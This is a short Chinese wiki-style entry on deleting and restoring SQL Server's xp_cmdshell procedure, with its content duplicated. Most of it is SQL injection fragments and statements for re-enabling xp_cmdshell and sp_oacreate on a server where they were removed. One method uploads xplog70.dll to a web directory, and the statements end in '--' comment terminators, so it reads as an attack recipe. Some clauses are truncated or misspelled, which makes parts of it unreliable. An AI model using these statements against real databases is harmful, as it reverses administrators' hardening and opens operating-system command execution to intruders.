xp_cmdshell的删除与恢复发表评论(0)编辑词条
一、xp_cmdshell的删除及恢复
1、判断xp_cmdshell是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)
select count(*) from master.dbo.sysobjects where xtype=’x’ and
返回结果为1就ok
2、恢复xp_cmdshell的方法
删除扩展存储过程xp_cmdshell的语句
exec sp_dropextendedproc ’xp_cmdshell’
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and
返回结果为1就ok
否则需上传c:\inetput\web\xplog70.dll后
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--
如果是用以下方法删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ’xp_cmdshell’
则可以用以下语句恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
1、判断xp_cmdshell是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)
select count(*) from master.dbo.sysobjects where xtype=’x’ and
返回结果为1就ok
2、恢复xp_cmdshell的方法
删除扩展存储过程xp_cmdshell的语句
exec sp_dropextendedproc ’xp_cmdshell’
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and
返回结果为1就ok
否则需上传c:\inetput\web\xplog70.dll后
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--
如果是用以下方法删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ’xp_cmdshell’
则可以用以下语句恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
→如果您认为本词条还有待完善,请 编辑词条
收藏到:
同义词: 暂无同义词
此词条来自互动百科联盟网站,详情请查阅:xp_cmdshell的删除与恢复
关于本词条的评论 (共0条)发表评论>>
编辑实验
创建词条